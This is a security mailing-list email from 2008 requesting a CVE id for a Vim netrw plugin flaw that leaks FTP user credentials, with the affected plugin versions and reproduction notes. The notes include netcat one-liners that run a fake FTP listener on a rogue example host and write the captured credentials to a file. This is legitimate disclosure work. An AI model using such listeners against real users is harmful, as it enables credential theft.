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Date: Mon, 6 Oct 2008 06:26:24 -0400 (EDT)
From: Jan Lieskovsky <>
        Jan Minář <>
Subject: CVE request - (vim : netrw plugin - ftp user
 credentials disclosure)

Hello Steve,

  could you please allocate a new CVE id for the following
Vim issue:

Vulnerability reports: 1,
                          (This is another issue than CVE-2008-2712).


Thread discussing this issue:

Proposed partial fix:

Affected Vim netrw plugin versions: 
    a, Vim 7.0 autoloaded netrw plugin versions - from " Date: Jul 24, 2006, Version: 102" till the latest.
    b, older versions of Vim netrw may be also affected.

Testcase available at: (part 4. EXPLOIT)

Note: Slightly modification of the testcase in the "netcat" part may be needed
      to successfully reproduce the issue. I was using:

      printf '220\r\n331\r\n' | nc -l 31337 > credentials&
      (and for simulation of successful FTP session login the command:
      printf '220\r\n331\r\n230\r\n' | nc -l ftp.rogue.example 31337 > credentials &)

Thanks, Jan
Jan iankko Lieskovsky / Red Hat Security Response Team

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